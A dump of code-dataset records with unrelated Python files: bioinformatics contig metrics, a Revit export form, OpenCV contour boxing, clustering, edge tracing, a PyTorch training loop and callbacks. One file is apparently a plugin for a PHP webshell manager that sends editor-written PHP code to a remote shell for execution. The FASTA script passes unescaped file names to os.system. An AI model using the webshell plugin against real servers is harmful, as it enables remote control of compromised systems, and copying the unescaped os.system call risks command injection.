logging.StreamHandler()\nch.setLevel(logging.INFO)\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nch.setFormatter(formatter)\nlogger.addHandler(ch)\n\nif(len(args.filename) < 2):\n\tprint(\"Input Error: Two or more .fasta files required!\")\n\tsys.exit(1)\n\n##### Begin multiple input file loop #####\n\nfor filehandle in args.filename:\n\tinFileName.append(getIsolateID(filehandle.name))\n\t\n\t## First inner loop to read input file lines\n\n\tfor line in filehandle:\n\t\tif(re.search(r'^>', line)):\n\t\t\tif(idCount > 0):\n\t\t\t\tdraftGenome[contigID] = contigStr\n\t\t\t\tcontigID = \"\"\n\t\t\t\tcontigStr = \"\"\n\t\t\tcontigID = line.strip()\n\t\t\tif(re.search(r'\\(paired\\)', contigID)):\n\t\t\t\tcontigID = contigID.replace('_(paired)', '')\n\t\t\tif(re.search('R1_001_', contigID)):\n\t\t\t\tcontigID = contigID.replace('R1_001_', '')\n\t\t\tdraftContigs.append(contigID)\n\t\t\tidCount = idCount + 1\n\t\t\t#print(contigID)\n\t\telif(re.search(r'^(A|T|G|C|U|N)+', line)):\n\t\t\tcontigStr = contigStr + line.strip()\n\n\n\tdraftGenome[contigID] = contigStr\n\n\t### End first inner loop\n\n\t## Close input file\n\tfilehandle.close()\n\n\t### Second inner loop to populate dict of contig lengths\n\n\tfor contigKey in draftGenome:\n\t\tif( len(draftGenome[contigKey]) > (intMinLen - 1) ):\n\t\t\tcontigLengths[contigKey] = len(draftGenome[contigKey])\n\t\t\t##print(contigKey + \" => \" + str(contigLengths[contigKey]))\n\n\t### End second innner loop\n\n\tcount = 0\n\n\t### Third inner loop to find longest contig and contig count given length > intMinLen\n\n\tfor contigID in sorted(contigLengths, key=contigLengths.__getitem__, reverse=True):\n\t\tif( contigLengths[contigID] > (intMinLen - 1) ):\n\t\t\tif(count == 0):\n\t\t\t\tmaxContig.append(contigLengths[contigID])\n\t\t\t\ttop = 1\n\t\t\tcount = count + 1\n\t\t\tdrLength = drLength + contigLengths[contigID]\n\tdraftLength.append(drLength)\n\t\n\t### End third inner loop\n \n\tcontigCount.append(count)\n\n\tavgContig.append(draftLength[idxFile]/contigCount[idxFile])\n\n\t### to compute N50, find the contig that 'resides' at 1/2 of draftLength\n\t\n\tdrLength = 0\n\tcumulativeLength = 0;\n\n\t### Fourth inner loop to calculate N50\n\t\n\tfor contigID in sorted(contigLengths, key=contigLengths.__getitem__, reverse=True):\n\t\tif( contigLengths[contigID] > (intMinLen - 1) ):\n\t\t\tcumulativeLength = cumulativeLength + contigLengths[contigID]\n\t\tif(cumulativeLength > (draftLength[idxFile]/2)):\n\t\t\tcontigN50.append(contigLengths[contigID])\n\t\t\tbreak\n\t\n\t### End fourth inner loop\n\n\tdraftContigs = []\n\tdraftGenome = {}\n\tcontigLengths = {}\n\tidCount = 0\n\tcontigID = \"\"\n\tcontigStr = \"\" \n\n\tidxFile = idxFile + 1\n\n##### End of multiple input file loop #####\t\n\nidx = 0\n\nfor idx in range(len(inFileName)):\n\tif ( args.format == 'verbose' or args.format == 'v' ):\n\t\tprint(\"Assembly File\\tMinimum Contig Length:\\tcontigCount\\tavgContig\\tN50\\tmaxContig\\tdraftLength\")\n\t\tprint(\"{}\\t\".format(inFileName[idx]), \">\", intMinLen - 1 ,\"bp:\\t\", contigCount[idx], \"\\t\", \"%.0f\" % avgContig[idx], \"\\t\", contigN50[idx], \"\\t\", maxContig[idx], \"\\t\", draftLength[idx])\n\telif( args.format == 'brief' or args.format == 'b' ):\n\t\tprint(\"Assembly\\tcontigCount\\tavgContig\\tN50\\tmaxContig\")\n\t\tprint(inFileName[idx] + \"\\t\" + str(contigCount[idx]) + \"\\t\" + str(\"%.0f\" % avgContig[idx]) + \"\\t\" + str(contigN50[idx]) + \"\\t\" + str(maxContig[idx]))\n\telif ( args.format == 'tsv' or args.format == 't'):\n\t\tprint(str(contigCount[idx]) + \"\\t\" + str(\"%.0f\" % avgContig[idx]) + \"\\t\" + str(contigN50[idx]) + \"\\t\" + str(maxContig[idx]))\n\telif ( args.format == 'csv' or args.format == 'c' ):\n\t\tprint(inFileName[idx] + \",\" + str(contigCount[idx]) + \",\" + str(\"%.0f\" % avgContig[idx]) + \",\" + str(contigN50[idx]) + \",\" + str(maxContig[idx]))\n\tidx = idx + 1\n\n\t\n### Judgement Day ### \n### All assembly files are sent to Hel except for theWorthy ###\n\n## index of the file with optimal assembly metrics\ntheWorthy = 0\n\nfor helCount in range( 1, len(inFileName) ):\n\tif(avgContig[helCount] > avgContig[theWorthy]):\n\t\ttheWorthy = helCount\n\t\t##print(theWorthy, \" \", avgContig[helCount], \" \", avgContig[theWorthy])\n\telif(contigCount[helCount] < contigCount[theWorthy]):\n\t\ttheWorthy = helCount\n\t\t\t\nidx = 0\n\nfor idx in range( len(inFileName) ):\n\tif(idx != theWorthy):\n\t\tos.system(\"mv -v {} {}\".format(args.filename[idx].name, helHeim))\n\n","sub_path":"multiFastaContigAvgJudgement.py","file_name":"multiFastaContigAvgJudgement.py","file_ext":"py","file_size_in_byte":6891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"241151537","text":"import revitron\nfrom revitron import _\nfrom rpw.ui.forms import FlexForm, TextBox, Button, Label, Separator, ComboBox\nfrom collections import defaultdict\nimport System.Windows\n\ndef addFields(components, fields):\n for field in fields:\n if field == '---':\n components.append(Separator())\n else:\n \tkey = revitron.String.sanitize(field)\n \tcomponents.append(Label(field))\n \tcomponents.append(TextBox(key, Text=config.get(key)))\n return components\n\nif not revitron.Document().isFamily():\n \n config = revitron.DocumentConfigStorage().get('revitron.export', defaultdict())\n \n components = addFields([], \n [\n 'Sheet Export Directory',\n 'Sheet Naming Template',\n 'Sheet Size Parameter Name',\n 'Default Sheet Size',\n 'Sheet Orientation Parameter Name'\n ])\n\n orientationField = 'Default Sheet Orientation'\n orientationKey = revitron.String.sanitize(orientationField)\n orientations = ['Landscape', 'Portrait']\n default = orientations[0]\n if config.get(orientationKey) in orientations:\n default = config.get(orientationKey)\n components.append(Label(orientationField))\n components.append(ComboBox(orientationKey, orientations, default=default))\n \n components = addFields(components, \n [\n '---',\n 'PDF Printer Address',\n 'PDF Temporary Output Path',\n '---',\n 'DWG Export Setup'\n ])\n \n components.append(Label(''))\n components.append(Button('Save', Width=100, HorizontalAlignment=System.Windows.HorizontalAlignment.Right))\n \n form = FlexForm('Revitron PDF and DWG Export Settings', components)\n form.show()\n \n if form.values: \n revitron.DocumentConfigStorage().set('revitron.export', form.values)\n \n \n ","sub_path":"Revitron.tab/Revitron.panel/Export.pulldown/Export Settings.pushbutton/Export Settings_script.py","file_name":"Export Settings_script.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"128175807","text":"#!/Users/jj/.virtualenvs/deep/bin/python\n\nPATH = \"./tmp/\"\nRESULT_PATH = \"./res/\"\nRES_NAME = \"blackboxed.jpg\"\n\n\ndef show_image(img_path):\n \"\"\"\n Return Image\n :param img_path: Image Path you want to show\n :return: no value, show image\n \"\"\"\n from matplotlib import pyplot as plt\n\n dpi = 200 # control parameter\n im_data = plt.imread(img_path)\n _channel = im_data.shape\n fig_size = _channel[0] / float(dpi), _channel[1] / float(dpi)\n\n plt.figure(figsize=fig_size)\n plt.xticks([]), plt.yticks([])\n plt.imshow(im_data)\n plt.show()\n\n\ndef black_box(input_path):\n \"\"\"\n Using Black-Box Algorithm (==Double Contours)\n :param input_path: image path\n :return: cv2 object(list) by black-box algorithm\n \"\"\"\n import cv2\n raw_image = cv2.imread(input_path)\n first_img = raw_image.copy()\n\n img_to_gray = cv2.cvtColor(first_img, cv2.COLOR_BGR2GRAY)\n _, thresh = cv2.threshold(img_to_gray, 127, 255, 0)\n _, contours, _ = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n # first-contours\n for c in contours:\n x, y, w, h = cv2.boundingRect(c)\n channel_shape = first_img.shape\n if w < channel_shape[0] * 0.05:\n cv2.rectangle(first_img, (x, y), (x + w + 10, y + h), (0, 0, 0), -1)\n\n last_img = raw_image.copy()\n img_to_gray_ = cv2.cvtColor(first_img, cv2.COLOR_BGR2GRAY)\n cv2.Canny(img_to_gray_, 50, 200, apertureSize=3)\n blur_ = cv2.blur(img_to_gray_, (5, 5))\n cv2.threshold(blur_, 127, 255, 0)\n _, contours, _ = cv2.findContours(blur_, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n # second-contours\n idx = 0\n for cnt in contours:\n idx += 1\n x, y, w, h = cv2.boundingRect(cnt)\n channel = last_img.shape\n if (w / h > 8) & (w / h < 15):\n cv2.rectangle(last_img, (x, y), (x + w + 10, y + h), (0, 255, 0), 3)\n cv2.putText(last_img, str(idx), (x, y), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 0, 255), 4)\n print(\"contour details\\t\", 'x : ', x, 'y : ', y, 'w : ', w, 'h : ', h, channel, w / channel[0]\n , h / channel[1], w / h)\n '''\n if idx == 529:\n cv2.imwrite(SAVE_PATH + \"box/\" + input_path[-11:-4] + \".png\", raw_image[y : y + h, x : x + w])\n '''\n\n cv2.imwrite(RESULT_PATH + input_path[-11:-4] + '_' + RES_NAME, last_img)\n print('Saving image finished!! ')\n\n return last_img\n\n\nif __name__ == '__main__':\n import matplotlib\n import sys\n\n matplotlib.use('TkAgg') # TkAgg line is for Mac.\n\n file_name = sys.argv[1]\n black_box_return = black_box(PATH + file_name)\n show_image(RESULT_PATH + file_name[:-4] + '_' + RES_NAME)\n","sub_path":"predict-digit/blackbox.py","file_name":"blackbox.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"70738417","text":"# coding: utf-8\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom collections import defaultdict\n\n#正态分布N~(3,1)\nX1 = np.random.randn(2,25)+3\n#正态分布N~(10,1)\nX2 = np.random.randn(2,25)+10\n\nX = np.hstack((X1,X2))\n#显示\nplt.plot(X1[0],X1[1],'bo')\nplt.plot(X2[0],X2[1],'ro')\nplt.show()\n\n\n\n\n\n#聚类簇数\nk=2\ndef dist(C1,C2):\n '''\n 计算两个簇之间的平均值的距离\n '''\n C1 = list(C1)\n C2 = list(C2)\n len_C1 = len(C1)\n len_C2 = len(C2)\n if len_C1==1:\n C1_dist = C1\n else:\n C1 = np.array(C1)\n C1 = C1.reshape(len_C1,2)\n C1_dist = np.mean(C1,0)\n if len_C2==1:\n C2_dist = C2\n else:\n C2 = np.array(C2)\n C2 = C2.reshape(len_C2,2)\n C2_dist = np.mean(C2,0)\n distance = np.sqrt(np.sum((np.array(C1_dist)-np.array(C2_dist))**2))\n return distance\n\n\n#初始化聚类簇\nC=defaultdict(set)\nfor num in range(X.shape[1]):\n C[num].add(tuple(X[:,num]))\n#初始化距离矩阵\nM = np.zeros((X.shape[1],X.shape[1]))#簇距离矩阵\nfor i in range(X.shape[1]):\n for j in range(X.shape[1]):\n M[i][j]= dist(C[i],C[j])\n#初始化当前聚类簇个数\ncurrent_k = X.shape[1]\n\nwhile current_k >k:\n dist_min_i=0\n dist_min_j=1\n dist_min = M[dist_min_i][dist_min_j]\n #找出距离最近的两个聚类簇合并\n for i in range(current_k):\n for j in range(current_k):\n temp = M[i][j]\n if i!=j and temp octant), (cos__> octant)\n mdly__, mdlx__ = ~(up__ | dwn__), ~(lft__ | rgt__)\n # merge in 4 bilateral axes\n axes_mask__ = [\n mdly__ & (rgt__ | lft__), (dwn__ & rgt__) | (up__ & lft__), # 0, 45 deg\n (dwn__ | up__) & mdlx__, (dwn__ & lft__) | (up__ & rgt__), # 90, 135 deg\n ]\n max_mask__ = np.zeros_like(blob.mask__, dtype=bool)\n # local max from cross-comp in each axis:\n for axis_mask__, (ydir, xdir) in zip(axes_mask__, ((0,1),(1,1),(1,0),(1,-1))): # y,x direction per axis\n # axis AND mask:\n mask__ = axis_mask__ & blob.mask__\n y_, x_ = mask__.nonzero()\n # neighbors:\n yn1_, xn1_ = y_ + ydir, x_ + xdir\n yn2_, xn2_ = y_ - ydir, x_ - xdir\n # computed vals\n axis1_ = (0 <= yn1_) & (yn1_ < Y) & (0 <= xn1_) & (xn1_ < X)\n axis2_ = (0 <= yn2_) & (yn2_ < Y) & (0 <= xn2_) & (xn2_ < X)\n # compare values\n not_max_ = np.zeros_like(y_, dtype=bool)\n not_max_[axis1_] |= (g__[y_[axis1_], x_[axis1_]] < g__[yn1_[axis1_], xn1_[axis1_]])\n not_max_[axis2_] |= (g__[y_[axis2_], x_[axis2_]] < g__[yn2_[axis2_], xn2_[axis2_]])\n # select maxes\n mask__[y_[not_max_], x_[not_max_]] = False\n # add to max_mask__\n max_mask__ |= mask__\n\n return max_mask__\n\n\ndef trace_max(blob, mask__, verbose=False):\n\n max_ = {*zip(*mask__.nonzero())} # convert mask__ into a set of (y,x)\n\n if verbose:\n step = 100 / len(max_) # progress % percent per pixel\n progress = 0.0; print(f\"\\rTracing max... {round(progress)} %\", end=\"\"); sys.stdout.flush()\n\n P_ = []\n link_ = set()\n while max_: # queue of (y,x,P)s\n y, x = max_.pop()\n qtrace = deque([(y, x, None)]) # queue tp trace start with (y, x) from max_\n\n while qtrace:\n # initialize dert to form P\n y, x, _P = qtrace.popleft() # pop from queue\n i = blob.i__[blob.ibox.slice()][y, x] # get i\n dy, dx, g = blob.der__t.get_pixel(y, x) # get dy, dx, g\n m = ave_dangle # m is at maximum value because P direction is the same as dert gradient direction\n assert g > 0, \"g must be positive\"\n P = form_P(blob, CP(yx=(y, x), axis=(dy/g, dx/g), cells={(y,x)}, dert_=[(y, x, i, dy, dx, g, m)]))\n P_ += [P]\n if _P is not None:\n link_ |= {(_P, P)}\n\n # search in max_ path\n adjacents = max_ & {*product(range(y-1,y+2), range(x-1,x+2))} # search neighbors\n qtrace.extend(((_y, _x, P) for _y, _x in adjacents))\n max_ -= adjacents\n # set difference = first set AND not both sets: https://www.scaler.com/topics/python-set-difference/#\n if verbose:\n progress += step; print(f\"\\rTracing max... {round(progress)} %\", end=\"\"); sys.stdout.flush()\n\n if verbose: print(\"\\r\" + \" \" * 79, end=\"\"); sys.stdout.flush(); print(\"\\r\", end=\"\")\n\n return P_, link_\n\ndef form_P(blob, P):\n\n scan_direction(blob, P, fleft=1) # scan left\n scan_direction(blob, P, fleft=0) # scan right\n # init:\n _, _, I, Dy, Dx, G, Ma = map(sum, zip(*P.dert_))\n L = len(P.dert_)\n M = ave_g*L - G\n G = np.hypot(Dy, Dx) # recompute G\n P.ptuple = Tptuple(I, Dy, Dx, G, M, Ma, L)\n P.yx = P.dert_[L//2][:2] # new center\n\n return P\n\ndef scan_direction(blob, P, fleft): # leftward or rightward from y,x\n\n Y, X = blob.mask__.shape # boundary\n sin,cos = _dy,_dx = P.axis # unpack axis\n _y, _x = P.yx # start with pivot\n r = cos*_y - sin*_x # from P line equation: cos*y - sin*x = r = constant\n _cy,_cx = round(_y), round(_x) # keep initial cell\n y, x = (_y-sin,_x-cos) if fleft else (_y+sin, _x+cos) # first dert in the direction of axis\n\n while True: # scan to blob boundary or angle miss\n x0, y0 = int(x), int(y) # floor\n x1, y1 = x0 + 1, y0 + 1 # ceiling\n if x0 < 0 or x1 >= X or y0 < 0 or y1 >= Y: break # boundary check\n kernel = [ # cell weighing by inverse distance from float y,x:\n # https://www.researchgate.net/publication/241293868_A_study_of_sub-pixel_interpolation_algorithm_in_digital_speckle_correlation_method\n (y0, x0, (y1 - y) * (x1 - x)),\n (y0, x1, (y1 - y) * (x - x0)),\n (y1, x0, (y - y0) * (x1 - x)),\n (y1, x1, (y - y0) * (x - x0))]\n cy, cx = round(y), round(x) # nearest cell of (y, x)\n if not blob.mask__[cy, cx]:\n break\n if abs(cy-_cy) + abs(cx-_cx) == 2: # mask of cell between (y,x) and (_y,_x)\n my = (_cy+cy) / 2 # midpoint cell, P axis is above, below or over it\n mx = (_cx+cx) / 2\n _my_cos = sin * mx + r # _my*cos at mx in P, to avoid division\n my_cos = my * cos # new cell\n if cos < 0: my_cos, _my_cos = -my_cos, -_my_cos # reverse sign for comparison because of cos\n if abs(my_cos-_my_cos) > 1e-5:\n ty, tx = ( # deviation from P axis: above/_y>y, below/_y cy else (cy, _cx))\n )\n if not blob.mask__[ty, tx]: break # if the cell is masked, stop\n P.cells |= {(ty,tx)}\n\n ider__t = (blob.i__[blob.ibox.slice()],) + blob.der__t\n i,dy,dx,g = (sum((par__[ky, kx] * dist for ky, kx, dist in kernel)) for par__ in ider__t)\n mangle,dangle = comp_angle((_dy,_dx), (dy, dx))\n if mangle < 0: # terminate P if angle miss\n break\n P.cells |= {(cy, cx)} # add current cell to overlap\n _cy, _cx, _dy, _dx = cy, cx, dy, dx\n if fleft:\n P.dert_ = [(y,x,i,dy,dx,g,mangle)] + P.dert_ # append left\n y -= sin; x -= cos # next y,x\n else:\n P.dert_ = P.dert_ + [(y,x,i,dy,dx,g,mangle)] # append right\n y += sin; x += cos # next y,x\n\n# not revised:\ndef form_link_(blob, mask__):\n\n max_yx_ = set(zip(*mask__.nonzero())) # mask__ coordinates\n dert_root_ = defaultdict(set)\n for P in blob.P_:\n for y,x in P.cells & max_yx_:\n dert_root_[y,x].add(P)\n\n # trace edge from each P\n blob.P_link_ = set() # clear P_link_\n for P in blob.P_:\n traceq_ = deque(P.cells & max_yx_) # start with cells & max_\n traced_ = set(traceq_)\n while traceq_: # trace adjacent through max_\n _y, _x = traceq_.popleft()\n # check for root\n stop = False\n for _P in (dert_root_[_y, _x] - {P}):\n link = (P, _P) if P.id < _P.id else (_P, P)\n blob.P_link_.add(link)\n stop = True # stop when a root is reached\n if not stop: # continue\n yx_ = {*product(range(_y-1,_y+2), range(_x-1,_x+2))}\n yx_ = (yx_ & max_yx_) - traced_\n traceq_.extend(yx_)\n traced_ |= yx_","sub_path":"frame_2D_alg/vectorize_edge_blob/slice_edge.py","file_name":"slice_edge.py","file_ext":"py","file_size_in_byte":9326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"141009756","text":"import torch\nfrom torch import nn, optim\nfrom sklearn.metrics import accuracy_score\nfrom .utils import val_acc_per_subset\n\n\ndef train(model, train_dl, test_dl, epochs_per_set=1, lr=1e-3, buffer=None):\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.SGD(model.parameters(), lr=lr)\n table = []\n\n for task_id, task in enumerate(train_dl):\n a = 1 / (task_id + 1)\n model.train()\n for input, target in task:\n input = input.float().cuda()\n target = target.cuda()\n for step in range(5):\n optimizer.zero_grad()\n output = model(input)\n loss_s = criterion(output, target)\n loss_r = 0\n if buffer:\n m_input, m_target = buffer.sample(len(input))\n if m_input is not None and m_target is not None:\n m_input = m_input.float().cuda()\n m_target = m_target.cuda()\n m_output = model(m_input)\n loss_r = criterion(m_output, m_target)\n else:\n loss_r = 0\n loss = a * loss_s + (1 - a) * loss_r\n loss.backward()\n optimizer.step()\n if buffer:\n buffer.update_memory(input, target)\n\n model.eval()\n if (task_id+1) % epochs_per_set == 0:\n predictions = []\n targets = []\n with torch.no_grad():\n for input, target in test_dl:\n input = input.cuda()\n output = model(input)\n predicted = torch.argmax(output, 1)\n predictions += predicted.cpu()\n targets += target\n\n val_acc = accuracy_score(targets, predictions)\n subset = task_id #[2 * task_id, 2 * task_id + 1]\n table.append([subset] + val_acc_per_subset(targets, predictions) + [val_acc])\n\n return table","sub_path":"utils/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"606399540","text":"from os import remove\nfrom uuid import uuid4\nfrom libs.config import alias, color\nfrom libs.myapp import send, open_editor, newfile\n\n\n@alias(True, func_alias=\"exec\", _type=\"SHELL\")\ndef run(editor: str = \"\", edit_args: str = \"\"):\n \"\"\"\n execute\n\n execute Custom PHP code by notepad / vi as default or your own editor, edit_args split by space.\n\n\n eg: execute {editor=\"\"} {edit_args=\"\"} execute code '\"--wait\"'\n \"\"\"\n file_name = str(uuid4()) + \".php\"\n real_file_path = newfile(file_name)\n\n open_editor(real_file_path, editor, edit_args)\n with open(real_file_path, \"r\") as f:\n code = f.read()\n if (code.startswith(\"\")):\n code = code[:-2]\n print(color.yellow(\"Execute php code...\"))\n res = send(code)\n if (not res):\n return\n text = res.r_text.strip()\n status_code = color.green(str(\n res.status_code)) if res.status_code == 200 else color.yellow(str(res.status_code))\n print(\n f\"\\n{color.green('Result:')}\\n[{status_code}] {color.cyan('length')}: {len(text)} \\n{text}\\n\")\n remove(real_file_path)\n","sub_path":"doughnuts/webshell_plugins/execute.py","file_name":"execute.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"613138700","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCallbacks implementation. Inspired by Keras.\n\"\"\"\n\n# NOTE(kudkudak): There is no (yet) standalone tensorboard, and I don't think it makes sense to use tensorboardX\nimport tensorflow\n\nimport timeit\nimport gin\nimport sys\nimport numpy as np\nimport pandas as pd\nimport os\nimport pickle\nimport logging\nimport time\nimport datetime\nimport json\nimport copy\nfrom collections import defaultdict, OrderedDict\n\nimport torch\n\n\nfrom gin.config import _OPERATIVE_CONFIG\n\nfrom src.utils import save_weights\nfrom src.utils import acc_chexnet_covid, auc_chexnet_covid, acc_chexnet_covid_numpy\n\ntypes_of_instance_to_save_in_csv = (int, float, complex, np.int64, np.int32, np.float32, np.float64, np.float128, str)\nlogger = logging.getLogger(__name__)\n\nclass CallbackList:\n def __init__(self, callbacks=None):\n callbacks = callbacks or []\n self.callbacks = [c for c in callbacks]\n\n def append(self, callback):\n self.callbacks.append(callback)\n\n def set_params(self, params):\n for callback in self.callbacks:\n callback.set_params(params)\n\n def set_model(self, model):\n for callback in self.callbacks:\n callback.set_model(model)\n\n def on_epoch_begin(self, epoch, logs=None):\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_epoch_begin(epoch, logs)\n\n def on_epoch_end(self, epoch, logs=None):\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_epoch_end(epoch, logs)\n\n def on_batch_begin(self, batch, logs=None):\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_batch_begin(batch, logs)\n\n def on_batch_end(self, batch, logs=None):\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_batch_end(batch, logs)\n\n def on_forward_begin(self, batch, data):\n for callback in self.callbacks:\n callback.on_forward_begin(batch, data)\n\n def on_backward_end(self, batch):\n for callback in self.callbacks:\n callback.on_backward_end(batch)\n\n def on_train_begin(self, logs=None):\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_train_begin(logs)\n\n def on_train_end(self, logs=None):\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_train_end(logs)\n\n def on_train_epoch_begin(self, epoch, logs):\n logs = logs or {}\n for callback in self.callbacks:\n if hasattr(callback, 'on_train_epoch_begin'):\n callback.on_train_epoch_begin(epoch, logs)\n\n def on_val_epoch_begin(self, epoch, logs):\n logs = logs or {}\n for callback in self.callbacks:\n if hasattr(callback, 'on_val_epoch_begin'):\n callback.on_val_epoch_begin(epoch, logs)\n\n def on_test_epoch_begin(self, epoch, logs):\n logs = logs or {}\n for callback in self.callbacks:\n if hasattr(callback, 'on_test_epoch_begin'):\n callback.on_test_epoch_begin(epoch, logs)\n\n def on_val_batch_end(self, batch, logs):\n logs = logs or {}\n for callback in self.callbacks:\n callback.on_val_batch_end(batch, logs)\n\n def __iter__(self):\n return iter(self.callbacks)\n\nclass Callback(object):\n def __init__(self):\n pass\n\n def set_config(self, config):\n self.config = config\n\n def set_meta_data(self, meta_data):\n self.meta_data = meta_data\n\n def set_save_path(self, save_path):\n self.save_path = save_path\n\n def set_optimizer(self, optimizer):\n self.optimizer = optimizer\n\n def set_model(self, model, ignore=True):\n if ignore:\n return\n self.model = model\n\n def set_params(self, params):\n self.params = params\n\n def set_dataloader(self, data):\n self.data = data\n\n def get_dataloader(self):\n return self.data\n\n def get_config(self):\n return self.config\n\n def get_meta_data(self):\n return self.meta_data\n\n def get_optimizer(self):\n return self.optimizer\n\n def get_params(self):\n return self.params\n\n def get_model(self):\n return self.model\n\n def get_save_path(self):\n return self.save_path\n\n def on_epoch_begin(self, epoch, logs):\n pass\n\n def on_epoch_end(self, epoch, logs):\n pass\n\n def on_batch_begin(self, batch, logs):\n pass\n\n def on_batch_end(self, batch, logs):\n pass\n\n def on_forward_begin(self, batch, data):\n pass\n\n def on_backward_end(self, batch):\n pass\n\n def on_train_begin(self, logs):\n pass\n\n def on_train_end(self, logs):\n pass\n\n def on_train_epoch_begin(self, epoch, logs):\n pass\n\n def on_val_epoch_begin(self, epoch, logs):\n pass\n\n def on_test_epoch_begin(self, epoch, logs):\n pass\n\n def on_val_batch_end(self, batch, logs):\n pass\n \n \n \nclass BaseLogger(Callback):\n \"\"\"Callback that accumulates epoch averages.\"\"\"\n def __init__(self):\n super(BaseLogger, self).__init__()\n\n def on_epoch_begin(self, epoch, logs=None):\n self.seen = 0\n self.totals = defaultdict(float)\n\n def on_batch_end(self, batch, logs=None):\n batch_size = logs.get('size', 0)\n self.seen += batch_size\n if logs is not None:\n for k, v in logs.items():\n self.totals[k] += v * batch_size\n\n\n def on_epoch_end(self, epoch, logs=None):\n if logs is not None:\n for k in self.totals:\n logs[k] = self.totals[k] / self.seen\n \n\n@gin.configurable\nclass GradualUnfreezing(Callback):\n \"\"\"\n Gradually unfreeze layers from last to first every unfreeze_every epochs.\n Assume layers are being progressively unfrozeon from the last layer.\n \"\"\"\n def __init__(self, unfreeze_every=1, level='lowest'):\n self.unfreeze_every = unfreeze_every\n self.layers_info_init = None\n self.level = level\n super(GradualUnfreezing, self).__init__()\n \n @staticmethod\n def pop_last_item(k):\n keywords = k.split('.')\n return '.'.join(keywords[:-1]), keywords[-1]\n \n def get_layers_info(self):\n \"\"\"\n group layers according to self.level\n This assumes layer names follow syntax of the following:\n 'densenet121.features.denseblock4.denselayer15.conv1.weight'\n If not, recommended to upgrade pytorch version.\n \n 'lowest' groups weight and bias etc. from each norm or conv layer\n 'layer' groups norm and conv from each denselayer\n 'block' groups all layers that belong to the same block\n \"\"\"\n layer_names_dict = OrderedDict()\n for name, parameter in self.model.named_parameters():\n layer_name, _ = self.pop_last_item(name)\n if self.level == 'layer' or self.level == 'block':\n layer_name_candidate, last_item = self.pop_last_item(layer_name)\n if last_item.startswith('conv') or last_item.startswith('norm'):\n layer_name = layer_name_candidate\n if self.level == 'block':\n layer_name_candidate, last_item = self.pop_last_item(layer_name)\n if 'layer' in last_item:\n layer_name = layer_name_candidate\n if layer_name not in layer_names_dict:\n layer_names_dict[layer_name] = parameter.requires_grad\n else:\n # consider a layer is unfrozen when all of its params have requires_grad=True\n layer_names_dict[layer_name] &= parameter.requires_grad\n \n #total_num_layers = len(layer_names_dict)\n num_unfrozen_layers = sum(layer_names_dict.values())\n return list(layer_names_dict.keys()), num_unfrozen_layers\n\n def unfreeze_additional_layers(self, epoch):\n num_layers_gradual_unfreeze = epoch // self.unfreeze_every\n num_layers_to_be_unfrozen_total = num_layers_gradual_unfreeze + self.num_unfrozen_layers_init\n layer_names_to_be_unfrozen = self.layers_info_init[-num_layers_to_be_unfrozen_total:]\n for layer_name in layer_names_to_be_unfrozen:\n for name, parameter in self.model.named_parameters():\n if name.startswith(layer_name):\n if not parameter.requires_grad:\n logger.info(f'Unfreezing {name}')\n parameter.requires_grad = True\n else:\n logger.info(f'Already unfrozen: {name}')\n \n \n def on_epoch_begin(self, epoch, logs):\n # 1. Get layer names and how many are unfrozen\n if self.layers_info_init is None:\n self.layers_info_init, self.num_unfrozen_layers_init = self.get_layers_info()\n # 2. Unfreeze subsequent epoch % unfreeze_every layers\n # This must be able to handle continuing to train from a saved checkpoint\n # If picking up from epoch 34, for example, we must unfreeze layers accordingly.\n self.unfreeze_additional_layers(epoch)\n \n\n@gin.configurable\nclass EarlyStopping(Callback):\n \"\"\"\n The source code of this class is under the MIT License and was copied from the Keras project,\n and has been modified.\n Stop training when a monitored quantity has stopped improving.\n Args:\n monitor (int): Quantity to be monitored.\n min_delta (float): Minimum change in the monitored quantity to qualify as an improvement,\n i.e. an absolute change of less than min_delta, will count as no improvement. \n (Default value = 0)\n patience (int): Number of epochs with no improvement after which training will be stopped.\n (Default value = 0)\n verbose (bool): Whether to print when early stopping is done.\n (Default value = False)\n mode (string): One of {'min', 'max'}. In `min` mode, training will stop when the quantity\n monitored has stopped decreasing; in `max` mode it will stop when the quantity monitored has\n stopped increasing. \n (Default value = 'min')\n \"\"\"\n\n def __init__(self, *, monitor='val_loss', min_delta=0, patience=0, verbose=False, mode='min'):\n super(EarlyStopping, self).__init__()\n\n self.monitor = monitor\n self.patience = patience\n self.verbose = verbose\n self.min_delta = min_delta\n self.wait = 0\n self.stopped_epoch = 0\n\n if mode not in ['min', 'max']:\n raise ValueError(\"Invalid mode '%s'\" % mode)\n self.mode = mode\n\n if mode == 'min':\n self.min_delta *= -1\n self.monitor_op = np.less\n elif mode == 'max':\n self.min_delta *= 1\n self.monitor_op = np.greater\n\n def on_train_begin(self, logs):\n # Allow instances to be re-used\n self.wait = 0\n self.stopped_epoch = 0\n self.best = np.Inf if self.mode == 'min' else -np.Inf\n\n def on_epoch_end(self, epoch, logs):\n current = logs[self.monitor]\n if self.monitor_op(current - self.min_delta, self.best):\n self.best = current\n self.wait = 0\n else:\n self.wait += 1\n if 